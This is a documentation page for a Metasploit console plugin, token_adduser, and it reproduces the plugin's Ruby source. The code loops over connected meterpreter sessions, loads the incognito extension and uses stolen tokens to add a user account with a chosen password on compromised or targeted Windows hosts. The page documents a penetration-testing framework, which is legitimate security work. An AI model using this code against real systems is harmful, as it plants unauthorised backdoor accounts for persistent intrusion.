Class: Msf::Plugin::TokenAdduser::TokenCommandDispatcher

Inherits:
Object
  • Object
show all
Includes:
Ui::Console::CommandDispatcher
Defined in:
plugins/token_adduser.rb

Instance Attribute Summary

Attributes included from Ui::Console::CommandDispatcher

#driver

Attributes included from Rex::Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Ui::Console::CommandDispatcher

#active_module, #active_module=, #active_session, #active_session=, #build_range_array, #docs_dir, #framework, #initialize, #log_error, #remove_lines

Methods included from Rex::Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #update_prompt

Instance Method Details

#cmd_token_adduser(*args) ⇒ Object


31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# File 'plugins/token_adduser.rb', line 31

def cmd_token_adduser(*args)

  opts = Rex::Parser::Arguments.new(
    "-h"   => [ true,   "Add account to host"],
  )

  # This is ugly.
  if (args.length == 0)
    print_line("Usage: token_adduser [options] <username> <password>")
    print_line(opts.usage)
    return
  end

  opt_user_pass  = []
  username = nil
  password = nil
  host = nil 
  opts.parse(args) do |opt, idx, val|
    case opt
    when "-h"
      host = val

    else
      # Excuse my weak ruby skills. I'm sure there's a better way to get username and password
      # from the args.
      opt_user_pass << val
    end
  end

  # Again, I'm sure there's a better way to do this.
  username = opt_user_pass[0]
  password = opt_user_pass[1]

  tokens_del = {}
  tokens_imp = {}

  framework.sessions.each_key do |sid|
    session = framework.sessions[sid]
    next unless session.type == "meterpreter"

    print_status(">> Opening session #{session.sid} / #{session.session_host}")

    unless session.incognito
      session.core.use("incognito")
    end

    unless session.incognito
      print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
      next
    end
    #print "DEBUG #{username} #{password}\n"
    res = session.incognito.incognito_add_user(host,username,password)
    if(res)
      print "#{res}\n"

      # Currently only stops on success if a user is trying to be added to a specific
      # host. I can't think of a good reason to stop on success (or even make it an option)
      # when trying to add a user to local sessions.
      if (host)
        if res =~ /\[\+\] Successfully|\[\-\] Password does not meet complexity requirements|\[\-\] User already exists/
          break
        end
      end
    end
  end
end

#commandsObject


25
26
27
28
29
# File 'plugins/token_adduser.rb', line 25

def commands
  {
    'token_adduser'        => "Attempt to add an account using all connected meterpreter session tokens"
  }
end

#nameObject


21
22
23
# File 'plugins/token_adduser.rb', line 21

def name
  "Token Adduser"
end